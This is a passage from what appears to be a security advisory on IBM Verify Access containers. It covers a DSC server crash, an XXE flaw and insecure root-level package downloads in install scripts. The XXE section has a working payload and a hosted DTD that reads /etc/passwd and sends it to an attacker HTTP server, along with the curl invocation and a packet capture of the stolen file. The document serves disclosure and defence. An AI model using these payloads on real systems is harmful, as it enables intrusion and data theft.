   0x7fecb007a58a <_ZN12DSessWrapper4pingEPv+154>:      call   QWORD PTR [rax+0x38]
   0x7fecb007a58d <_ZN12DSessWrapper4pingEPv+157>:      mov    esi,0x4
   0x7fecb007a592 <_ZN12DSessWrapper4pingEPv+162>:      mov    rdi,rax
<font color=red>=> 0x7fecb007a595 <_ZN12DSessWrapper4pingEPv+165>:      mov    ebx,DWORD PTR [rax]</font>
   0x7fecb007a597 <_ZN12DSessWrapper4pingEPv+167>:      call   0x7fecb0076fa0 <_ZdlPvm@plt>
   0x7fecb007a59c <_ZN12DSessWrapper4pingEPv+172>:      mov    rdi,QWORD PTR [rsp+0x18]
   0x7fecb007a5a1 <_ZN12DSessWrapper4pingEPv+177>:      mov    rax,QWORD PTR [rdi]
   0x7fecb007a5a4 <_ZN12DSessWrapper4pingEPv+180>:      call   QWORD PTR [rax+0x2f0]
[------------------------------------stack-------------------------------------]
0000| 0x7feca642fc10 --> 0x1d2e480 --> 0x7fecaf4dfbf8 --> 0x7fecaf292870 --> 0x410024f509058b48 
0008| 0x7feca642fc18 --> 0x7fecaf292d8e --> 0xda89481d74c08548 
0016| 0x7feca642fc20 --> 0x7fec28040830 --> 0x7fecaf4e00a0 --> 0x7fecaf29b5a0 --> 0x4100246a21058b48 
0024| 0x7feca642fc28 --> 0x1e3f6e0 --> 0x7fecaf4e1120 --> 0x7fecaf2b2450 --> 0x530022f9a9058b48 
0032| 0x7feca642fc30 --> 0x7feca642fc80 --> 0x7feca642fc90 --> 0x7fec30071c00 --> 0x50 ('P')
0040| 0x7feca642fc38 --> 0x7fec3800e720 --> 0x7fecaf4dece8 --> 0x7fecaf27a770 --> 0x4800267369058b48 
0048| 0x7feca642fc40 --> 0x7fec38006110 --> 0x7fecaf4df160 --> 0x7fecaf280e20 --> 0x4100261081058b48 
0056| 0x7feca642fc48 --> 0x7fecaf27a8a1 --> 0xf2e668debc48941 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
<font color=red>Stopped reason: SIGSEGV
0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so</font>
gdb-peda$ bt
#0  0x00007fecb007a595 in <font color=red>DSessWrapper::ping(void*) ()</font> from target:/lib64/libamdsc_interface.so
#1  0x00007fecaf27a8a1 in tivsec_axiscpp::ServerAxisEngine::invoke(tivsec_axiscpp::MessageData*) () from target:/lib64/libtivsec_axis_server.so
#2  0x00007fecaf27b0d2 in tivsec_axiscpp::ServerAxisEngine::process(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so
#3  0x00007fecaf297156 in process_request(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so
#4  0x00007fecb02a3293 in AMWSMSServiceClient::processRequest(AMWSMSService::WorkerRequest&, bool) () from target:/lib64/libamdsc_server.so
#5  0x00007fecb02a3ff8 in AMWSMSService::workerThreadRun() () from target:/lib64/libamdsc_server.so
#6  0x00007fecb02a4089 in start_worker_thread () from target:/lib64/libamdsc_server.so
#7  0x00007fecaec801ca in start_thread () from target:/lib64/libpthread.so.0
#8  0x00007fecae6d3d83 in clone () from target:/lib64/libc.so.6
</pre>

<p>I can also confirm the null pointer dereference in the <code>dmesg</code> output of the <code>container-02</code> test server:</p>
<pre><code>[899328.145854] dscd[2106406]: segfault at 0 ip 00007f18e53ff595 sp 00007f18db93ac10 error 4 in libamdsc_interface.so[7f18e53ec000+30000]
[899485.595069] dscd[2107491]: segfault at 0 ip 00007f25a6041595 sp 00007f259c9cdc10 error 4 in libamdsc_interface.so[7f25a602e000+30000]
[899575.542524] dscd[2109718]: segfault at 0 ip 00007f331fde5595 sp 00007f3316938c10 error 4 in libamdsc_interface.so[7f331fdd2000+30000]
[899614.404309] dscd[2111181]: segfault at 0 ip 00007fec9cad4595 sp 00007fec9d29dc10 error 4 in libamdsc_interface.so[7fec9cac1000+30000]
[899761.869511] dscd[2112040]: segfault at 0 ip 00007f86cf8a0595 sp 00007f86c5edfc10 error 4 in libamdsc_interface.so[7f86cf88d000+30000]
</code></pre>
<p>I can confirm the verify-access-dsc instance crashes on container-02 as shown below.</p>
<p>Before the PoC, the verify-access-dsc instance is running:</p>
<pre><code>[root@container-02]# podman ps
CONTAINER ID  IMAGE                                                COMMAND       CREATED       STATUS                       PORTS                             NAMES
e462789b901b  ibmcom/verify-access-runtime/10.0.4.0:20220926.6                     28 hours ago  Up 28 hours ago (healthy)    0.0.0.0:9443-&gt;9443/tcp            verify-access-runtime
0ff1b85073d6  ibmcom/verify-access-dsc/10.0.4.0:20220926.6                         28 hours ago  Up 28 minutes ago (healthy)  0.0.0.0:8443-8444-&gt;8443-8444/tcp  verify-access-dsc
</code></pre>
<p>After the PoC, the verify-access-dsc instance does not run anymore:</p>
<pre><code>[root@container-02]# podman ps
CONTAINER ID  IMAGE                                                COMMAND       CREATED       STATUS                     PORTS                     NAMES
e462789b901b  ibmcom/verify-access-runtime/10.0.4.0:20220926.6                     28 hours ago  Up 28 hours ago (healthy)  0.0.0.0:9443-&gt;9443/tcp    verify-access-runtime
[root@container-02]#
</code></pre>
<p>An attacker with the dsc-client SSL certificate can crash the DSC servers and crash the entire authentication system.</p>
<p><a id="XXE"></a></p>
<h2>Details - XML External Entity (XXE) in dscd</h2>
<p>It was observed that the DSC (Distributed Session Cache) servers are vulnerable to XML External Entity (XXE) attacks. DSC servers are used to store session information.</p>
<p>The DSC servers are reachable using the <code>/DSess/services/DSess</code> API running on port 8443/tcp.</p>
<p>With a client certificate, we can reach the <code>/DSess/services/DSess</code> API.</p>
<p>Content of the <code>payload.txt</code> file containing the XXE payload that will be sent to the remote DSC server:</p>
<pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;!DOCTYPE foo [
&lt;!ENTITY % xxe SYSTEM "http://10.0.0.45/dtd.xml"&gt;
%xxe;
]&gt;
&lt;foo&gt;&lt;/foo&gt;
&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;
        &lt;SOAP-ENV:Body&gt;
                &lt;ns1:ping xmlns:ns1="http://sms.am.tivoli.com"&gt;
                        &lt;ns1:something&gt;X&lt;/ns1:something&gt;
                &lt;/ns1:ping&gt;
        &lt;/SOAP-ENV:Body&gt;
&lt;/SOAP-ENV:Envelope&gt;
</code></pre>
<p>Content of the <code>dtd.xml</code> file hosted on http://10.0.0.45/. This DTD file is referenced by the <code>payload.txt</code> file:</p>
<pre><code>kali% cat /var/www/html/dtd.xml 
&lt;!ENTITY % file SYSTEM "file:///etc/passwd"&gt;
&lt;!ENTITY % eval "&lt;!ENTITY &amp;#x25; exfiltrate SYSTEM 'http://10.0.0.45/?x=%file;'&gt;"&gt;
%eval;
%exfiltrate;
</code></pre>
<p>Sending the previous payload will result in an exception on the remote DSC server:</p>
<pre><code>kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -H 'SOAPAction: "ping"' --data '@payload.txt' -v
*   Trying 10.0.0.16:8443...
* Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)
[...]
&gt; POST /DSess/services/DSess HTTP/1.1
&gt; Host: dsc-02.test.lan:8443
&gt; User-Agent: curl/7.82.0
&gt; Accept: */*
&gt; SOAPAction: "ping"
&gt; Content-Length: 453
&gt; Content-Type: application/x-www-form-urlencoded
&gt; 
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
&lt; Server: Apache Axis C++/1.6.a
&lt; Connection: close
&lt; Content-Length: 330
&lt; Content-Type: text/xml
&lt; 
&lt;?xml version='1.0' encoding='utf-8' ?&gt;
&lt;SOAP-ENV:Envelope&gt;
&lt;SOAP-ENV:Body&gt;
&lt;SOAP-ENV:Fault&gt;
&lt;faultcode&gt;SOAP-ENV:Server&lt;/faultcode&gt;
&lt;faultstring&gt;Unknown exception&lt;/faultstring&gt;
&lt;faultactor&gt;server name:listen port&lt;/faultactor&gt;
&lt;detail&gt;Unknown Exception has occured&lt;/detail&gt;
&lt;/SOAP-ENV:Fault&gt;
&lt;/SOAP-ENV:Body&gt;
&lt;/SOAP-ENV:Envelope&gt;

* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
</code></pre>
<p>At the same time, when sniffing the HTTP connections to the remote HTTP server providing <code>http://10.0.0.45/?x=%file</code>, we can observe HTTP requests from the DSC server (acting as a HTTP client).</p>
<p>There is a successful exfiltration of the <code>/etc/passwd</code> file of the DSC instance - this file was specified in the <code>dtd.xml</code> file at <code>http://10.0.0.45/dtd.xml</code>, used by the malicious payload:</p>
<pre><code>kali# tcpdump -n -i eth0 -s0 -X port 80
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:01:12.655204 IP 10.0.0.16.60254 &gt; 10.0.0.45.80: Flags [P.], seq 1:753, ack 1, win 229, options [nop,nop,TS val 2959987485 ecr 3936552717], length 752: HTTP: GET /root:x:0:0:root:/root:/bin/bash
[...]
    0x0030:  eaa3 070d 4745 5420 2f72 6f6f 743a 783a  ....GET./root:x:
    0x0040:  303a 303a 726f 6f74 3a2f 726f 6f74 3a2f  0:0:root:/root:/
    0x0050:  6269 6e2f 6261 7368 0a62 696e 3a78 3a31  bin/bash.bin:x:1
    0x0060:  3a31 3a62 696e 3a2f 6269 6e3a 2f73 6269  :1:bin:/bin:/sbi
    0x0070:  6e2f 6e6f 6c6f 6769 6e0a 6461 656d 6f6e  n/nologin.daemon
    0x0080:  3a78 3a32 3a32 3a64 6165 6d6f 6e3a 2f73  :x:2:2:daemon:/s
    0x0090:  6269 6e3a 2f73 6269 6e2f 6e6f 6c6f 6769  bin:/sbin/nologi
    0x00a0:  6e0a 6164 6d3a 783a 333a 343a 6164 6d3a  n.adm:x:3:4:adm:
    0x00b0:  2f76 6172 2f61 646d 3a2f 7362 696e 2f6e  /var/adm:/sbin/n
    0x00c0:  6f6c 6f67 696e 0a6c 703a 783a 343a 373a  ologin.lp:x:4:7:
    0x00d0:  6c70 3a2f 7661 722f 7370 6f6f 6c2f 6c70  lp:/var/spool/lp
    0x00e0:  643a 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a  d:/sbin/nologin.
    0x00f0:  7379 6e63 3a78 3a35 3a30 3a73 796e 633a  sync:x:5:0:sync:
    0x0100:  2f73 6269 6e3a 2f62 696e 2f73 796e 630a  /sbin:/bin/sync.
    0x0110:  7368 7574 646f 776e 3a78 3a36 3a30 3a73  shutdown:x:6:0:s
    0x0120:  6875 7464 6f77 6e3a 2f73 6269 6e3a 2f73  hutdown:/sbin:/s
    0x0130:  6269 6e2f 7368 7574 646f 776e 0a68 616c  bin/shutdown.hal
    0x0140:  743a 783a 373a 303a 6861 6c74 3a2f 7362  t:x:7:0:halt:/sb
    0x0150:  696e 3a2f 7362 696e 2f68 616c 740a 6d61  in:/sbin/halt.ma
    0x0160:  696c 3a78 3a38 3a31 323a 6d61 696c 3a2f  il:x:8:12:mail:/
    0x0170:  7661 722f 7370 6f6f 6c2f 6d61 696c 3a2f  var/spool/mail:/
    0x0180:  7362 696e 2f6e 6f6c 6f67 696e 0a6f 7065  sbin/nologin.ope
    0x0190:  7261 746f 723a 783a 3131 3a30 3a6f 7065  rator:x:11:0:ope
    0x01a0:  7261 746f 723a 2f72 6f6f 743a 2f73 6269  rator:/root:/sbi
    0x01b0:  6e2f 6e6f 6c6f 6769 6e0a 6761 6d65 733a  n/nologin.games:
    0x01c0:  783a 3132 3a31 3030 3a67 616d 6573 3a2f  x:12:100:games:/
    0x01d0:  7573 722f 6761 6d65 733a 2f73 6269 6e2f  usr/games:/sbin/
    0x01e0:  6e6f 6c6f 6769 6e0a 6674 703a 783a 3134  nologin.ftp:x:14
    0x01f0:  3a35 303a 4654 5020 5573 6572 3a2f 7661  :50:FTP.User:/va
    0x0200:  722f 6674 703a 2f73 6269 6e2f 6e6f 6c6f  r/ftp:/sbin/nolo
    0x0210:  6769 6e0a 6e6f 626f 6479 3a78 3a36 3535  gin.nobody:x:655
    0x0220:  3334 3a36 3535 3334 3a4b 6572 6e65 6c20  34:65534:Kernel.
    0x0230:  4f76 6572 666c 6f77 2055 7365 723a 2f3a  Overflow.User:/:
    0x0240:  2f73 6269 6e2f 6e6f 6c6f 6769 6e0a 6973  /sbin/nologin.is
    0x0250:  616d 3a78 3a36 3030 303a 3630 3030 3a3a  am:x:6000:6000::
    0x0260:  2f68 6f6d 652f 6973 616d 3a2f 6269 6e2f  /home/isam:/bin/
    0x0270:  6261 7368 0a69 766d 6772 3a78 3a36 3030  bash.ivmgr:x:600
    0x0280:  313a 3630 3031 3a41 6363 6573 7320 4d61  1:6001:Access.Ma
    0x0290:  6e61 6765 7220 5573 6572 3a2f 6f70 742f  nager.User:/opt/
    0x02a0:  506f 6c69 6379 4469 7265 6374 6f72 3a2f  PolicyDirector:/
    0x02b0:  6269 6e2f 6661 6c73 650a 7469 766f 6c69  bin/false.tivoli
    0x02c0:  3a78 3a36 3030 323a 3630 3032 3a4f 776e  :x:6002:6002:Own
    0x02d0:  6572 206f 6620 5469 766f 6c69 2043 6f6d  er.of.Tivoli.Com
[...]
</code></pre>
<p>An attacker can read any file located in the instance - the DSC server will send any file specified in the payload to an attacker-controlled HTTP server.</p>
<p>An attacker with the dsc-client SSL certificate can exfiltrate any sensitive information from the instance.</p>
<p><a id="rce-2"></a></p>
<h2>Details - Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)</h2>
<p>It was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp use insecure communications to download several rpm and zip files that will then be installed or decompressed as root.</p>
<p>The <code>/usr/sbin/install_isva.sh</code> script contains insecure downloading of rpm files and zip files. These rpm files will then be installed as root.</p>
<p>An attacker located on the network can inject malicious rpm or zip files into the authentication platform and take control over the entire authentication platform.</p>
<p>There are 3 different <code>/usr/sbin/install_isva.sh</code> scripts found in these images but they share the same vulnerable code:</p>
<pre><code>kali-docker# sha256sum **/install_isva.sh   
1c851f579baeda9d3c11e7721aaa5960dc6a3d6b052bcc8a46979d0634e31892  _verify-access-dsc.tar/787d9cec79e27fccd75a56b7101b39da38161f9d3749d6d0fd7cfcc8252aca34/usr/sbin/install_isva.sh
00f2ca8ad004af9c9e16b6cfdf480dcdb52dc36c7ff64df2bcc34495f6a9ae8d  _verify-access-runtime.tar/694cb5f84eff9a4b0aac37a4bd9f65116051953f3aee5e4e998af5938e684a5e/usr/sbin/install_isva.sh
8a59d7f89c6d587d9b764b9e4748cf0d20d406f65433a813464b32a13745f6da  _verify-access-wrp.tar/937031a6ab4bc7bd504dcbee8d242f181e904c1722489077cf468daae176e2da/usr/sbin/install_isva.sh
</code></pre>
<p>Vulnerable code in verify-access-dsc - download over HTTP or without checking the SSL certificate (lines 24, 60 and 82) and installation of packages as root without checking the signatures (line 76):</p>
<p>Content of <code>/usr/sbin/install_isva.sh</code> in verify-access-dsc:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">22</span> <span style="color: #19177C">files</span><span style="color: #666666">=</span>/root/files.txt
<span style="color: #666666">23</span> 
<span style="color: #666666">24</span> curl -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/ -o <span style="color: #19177C">$files</span> 
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">38</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">39</span> <span style="color: #408080; font-style: italic"># Install each of our RPMs.</span>
<span style="color: #666666">40</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">41</span> 
<span style="color: #666666">42</span> <span style="color: #19177C">pkgs</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;gskcrypt64 \</span>
<span style="color: #BA2121">43         gskssl64 \</span>
<span style="color: #BA2121">44         Base-ISVA \</span>
<span style="color: #BA2121">45         idsldap-license64 \</span>
<span style="color: #BA2121">46         idsldap-cltbase64 \</span>
<span style="color: #BA2121">47         idsldap-clt64bit64 \</span>
<span style="color: #BA2121">48         Pdlic-PD \</span>
<span style="color: #BA2121">49         TivSecUtl-TivSec \</span>
<span style="color: #BA2121">50         PDRTE-PD \</span>
<span style="color: #BA2121">51         PDWebRTE-PD \</span>
<span style="color: #BA2121">52         PDWebDSC-PD&quot;</span>
<span style="color: #666666">53</span> 
<span style="color: #666666">54</span> <span style="color: #008000; font-weight: bold">for</span> pkg in <span style="color: #19177C">$pkgs</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">55</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Installing </span><span style="color: #19177C">$pkg</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">56</span> 
<span style="color: #666666">57</span>     <span style="color: #408080; font-style: italic"># Download and install the file.</span>
<span style="color: #666666">58</span>     <span style="color: #19177C">rpm_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>locate_rpm_file <span style="color: #19177C">$pkg</span><span style="color: #BA2121">`</span>
<span style="color: #666666">59</span> 
<span style="color: #666666">60</span>     curl -fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$rpm_file</span> -o /root/<span style="color: #19177C">$rpm_file</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">76</span>     rpm -i <span style="color: #19177C">$extra_args</span> /root/<span style="color: #19177C">$rpm_file</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">78</span>     <span style="color: #408080; font-style: italic"># Download the include file and delete all files not included in the file.</span>
<span style="color: #666666">79</span>     <span style="color: #19177C">include</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>rpm -qp /root/<span style="color: #19177C">$rpm_file</span> --qf <span style="color: #BA2121">&quot;%{NAME}.include&quot;`</span>
<span style="color: #666666">80</span>     <span style="color: #19177C">include_file</span><span style="color: #666666">=</span>/root/<span style="color: #19177C">$include</span>
<span style="color: #666666">81</span> 
<span style="color: #666666">82</span>     <span style="color: #008000">set</span> +e; curl --fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$include</span> -o <span style="color: #19177C">$include_file</span>; <span style="color: #19177C">rc</span><span style="color: #666666">=</span><span style="color: #19177C">$?</span>; <span style="color: #008000">set</span> -e
<span style="color: #666666">83</span> 
<span style="color: #666666">84</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$rc</span> -eq <span style="color: #666666">0</span> -a -f <span style="color: #19177C">$include_file</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">85</span>         <span style="color: #408080; font-style: italic"># Convert the include file to be regular expression based instead of</span>
<span style="color: #666666">86</span>         <span style="color: #408080; font-style: italic"># glob based.</span>
<span style="color: #666666">87</span>         sed -i <span style="color: #BA2121">&quot;s|\*|.*|g&quot;</span> <span style="color: #19177C">$include_file</span>
<span style="color: #666666">88</span> 
<span style="color: #666666">89</span>         <span style="color: #008000; font-weight: bold">for</span> entry in <span style="color: #BA2121">`</span>rpm -ql /root/<span style="color: #19177C">$rpm_file</span> | grep -xvf <span style="color: #19177C">$include_file</span><span style="color: #BA2121">`</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">90</span>             <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -f <span style="color: #19177C">$entry</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">91</span>                 rm -f <span style="color: #19177C">$entry</span>
<span style="color: #666666">92</span>             <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">93</span>         <span style="color: #008000; font-weight: bold">done</span>
<span style="color: #666666">94</span>     <span style="color: #008000; font-weight: bold">fi</span>
</pre></div>

<p>The code in verify-access-wrp is also very similar and shares the same vulnerabilities.</p>
<p>Vulnerable code in verify-access-runtime - same vulnerability in <code>/usr/sbin/install_isva.sh</code> with an additional vulnerability with the insecure download, due to the <code>-k</code> option on line 117 (alias to <code>--insecure</code>) and extraction of zip files as root in line 119:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">28</span> <span style="color: #19177C">files</span><span style="color: #666666">=</span>/root/files.txt
<span style="color: #666666">29</span> 
<span style="color: #666666">30</span> curl -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/ -o <span style="color: #19177C">$files</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">41</span> <span style="color: #19177C">pkgs</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;gskcrypt64 \</span>
<span style="color: #BA2121">42         gskssl64 \</span>
<span style="color: #BA2121">43         Base-ISVA \</span>
<span style="color: #BA2121">44         PDlic-PD \</span>
<span style="color: #BA2121">45         TivSecUtl-TivSec \</span>
<span style="color: #BA2121">46         PDRTE-PD \</span>
<span style="color: #BA2121">47         PDWebWAPI-PD \</span>
<span style="color: #BA2121">48         PDWebDSC-PD \</span>
<span style="color: #BA2121">49         VerifyAccessRuntimeFeatures \</span>
<span style="color: #BA2121">50         MesaConfig \</span>
<span style="color: #BA2121">51         FIM \</span>
<span style="color: #BA2121">52         RBA&quot;</span>
<span style="color: #666666">53</span> 
<span style="color: #666666">54</span> <span style="color: #008000; font-weight: bold">for</span> pkg in <span style="color: #19177C">$pkgs</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">55</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Installing </span><span style="color: #19177C">$pkg</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">56</span> 
<span style="color: #666666">57</span>     <span style="color: #408080; font-style: italic"># Download and install the file.</span>
<span style="color: #666666">58</span>     <span style="color: #19177C">rpm_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>locate_rpm_file <span style="color: #19177C">$pkg</span><span style="color: #BA2121">`</span>
<span style="color: #666666">59</span> 
<span style="color: #666666">60</span>     curl --fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$rpm_file</span> -o /root/<span style="color: #19177C">$rpm_file</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">78</span>     rpm -i <span style="color: #19177C">$extra_args</span> /root/<span style="color: #19177C">$rpm_file</span>
<span style="color: #666666">79</span> 
<span style="color: #666666">80</span>     <span style="color: #408080; font-style: italic"># Download the include file and delete all files not included in the file.</span>
<span style="color: #666666">81</span>     <span style="color: #19177C">include</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>rpm -qp /root/<span style="color: #19177C">$rpm_file</span> --qf <span style="color: #BA2121">&quot;%{NAME}.include&quot;`</span>
<span style="color: #666666">82</span>     <span style="color: #19177C">include_file</span><span style="color: #666666">=</span>/root/<span style="color: #19177C">$include</span>
<span style="color: #666666">83</span> 
<span style="color: #666666">84</span>     <span style="color: #008000">set</span> +e; curl --fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$include</span> -o <span style="color: #19177C">$include_file</span>; <span style="color: #19177C">rc</span><span style="color: #666666">=</span><span style="color: #19177C">$?</span>; <span style="color: #008000">set</span> -e
<span style="color: #666666">85</span> 
<span style="color: #666666">86</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$rc</span> -eq <span style="color: #666666">0</span> -a -f <span style="color: #19177C">$include_file</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">87</span>         <span style="color: #408080; font-style: italic"># Convert the include file to be regular expression based instead of</span>
<span style="color: #666666">88</span>         <span style="color: #408080; font-style: italic"># glob based.</span>
<span style="color: #666666">89</span>         sed -i <span style="color: #BA2121">&quot;s|\*|.*|g&quot;</span> <span style="color: #19177C">$include_file</span>
<span style="color: #666666">90</span> 
<span style="color: #666666">91</span>         <span style="color: #008000; font-weight: bold">for</span> entry in <span style="color: #BA2121">`</span>rpm -ql /root/<span style="color: #19177C">$rpm_file</span> | grep -xvf <span style="color: #19177C">$include_file</span><span style="color: #BA2121">`</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">92</span>             <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -f <span style="color: #19177C">$entry</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">93</span>                 rm -f <span style="color: #19177C">$entry</span>
<span style="color: #666666">94</span>             <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">95</span>         <span style="color: #008000; font-weight: bold">done</span>
<span style="color: #666666">96</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">108</span> <span style="color: #19177C">zips</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;\</span>
<span style="color: #BA2121">109     com.ibm.tscc.rtss.wlp.zip:/opt/rtss \</span>
<span style="color: #BA2121">110     com.ibm.isam.common.eclipse.wlp.zip:/opt/IBM \</span>
<span style="color: #BA2121">111     pdjrte-0.0.0-0.zip:/opt&quot;</span>
<span style="color: #666666">112</span> 
<span style="color: #666666">113</span> <span style="color: #008000; font-weight: bold">for</span> entry in <span style="color: #19177C">$zips</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">114</span>     <span style="color: #19177C">zip</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #008000">echo</span> <span style="color: #19177C">$entry</span> | cut -f <span style="color: #666666">1</span> -d <span style="color: #BA2121">&#39;:&#39;`</span>
<span style="color: #666666">115</span>     <span style="color: #19177C">dst</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #008000">echo</span> <span style="color: #19177C">$entry</span> | cut -f <span style="color: #666666">2</span> -d <span style="color: #BA2121">&#39;:&#39;`</span>
<span style="color: #666666">116</span> 
<span style="color: #666666">117</span>     curl --fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$zip</span> -o /root/<span style="color: #19177C">$zip</span>
<span style="color: #666666">118</span>     mkdir -p <span style="color: #19177C">$dst</span>
<span style="color: #666666">119</span>     unzip -q /root/<span style="color: #19177C">$zip</span> -d <span style="color: #19177C">$dst</span>
<span style="color: #666666">120</span> 
<span style="color: #666666">121</span>     rm -f /root/<span style="color: #19177C">$zip</span>
<span style="color: #666666">122</span> <span style="color: #008000; font-weight: bold">done</span>
</pre></div>

<p><a id="rce-3"></a></p>
<h2>Details - Remote Code Execution due to insecure download of rpm in verify-access-runtime (/usr/sbin/install_java_liberty.sh)</h2>
<p>It was observed that the Docker image verify-access-runtime insecurely downloads zip files.</p>
<p>An attacker located on the network can inject malicious zip files into the platform and take control over the entire platform.</p>
<p>The <code>/usr/sbin/install_java_liberty.sh</code> script contains insecure downloading of zip files. These zip files will then be extracted as root into the <code>/opt/java</code>, <code>/opt/ibm</code>, <code>/opt/oracle/jdbc</code> and <code>/opt/IBM/db2</code> directories, providing WebSphere Liberty binaries (that will then be used to provide executable code).</p>
<p>It is also possible to remotely delete any file as root (lines 61 to 65).</p>
<p>Vulnerable code in <code>/usr/sbin/install_java_liberty.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">14</span> <span style="color: #19177C">web_files</span><span style="color: #666666">=</span>/root/files.txt
<span style="color: #666666">15</span> 
<span style="color: #666666">16</span> locate_file<span style="color: #666666">()</span>
<span style="color: #666666">17</span> <span style="color: #666666">{</span>
<span style="color: #666666">18</span>     grep <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$1</span><span style="color: #BA2121">&quot;</span> <span style="color: #19177C">$web_files</span> | cut -f <span style="color: #666666">2</span> -d <span style="color: #BA2121">&#39;&quot;&#39;</span>
<span style="color: #666666">19</span> <span style="color: #666666">}</span>
<span style="color: #666666">20</span> curl -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/ -o <span style="color: #19177C">$web_files</span>
<span style="color: #666666">21</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">29</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">30</span> <span style="color: #408080; font-style: italic"># Install each of our zip files.</span>
<span style="color: #666666">31</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">32</span> 
<span style="color: #666666">33</span> <span style="color: #19177C">zips</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;\</span>
<span style="color: #BA2121">34     ibm-semeru-open-jre_x64_linux_11.*.tar.gz:/opt/java \</span>
<span style="color: #BA2121">35     liberty.*.zip:/opt/ibm \</span>
<span style="color: #BA2121">36     oracle_jdbc_.*.zip:/opt/oracle/jdbc \</span>
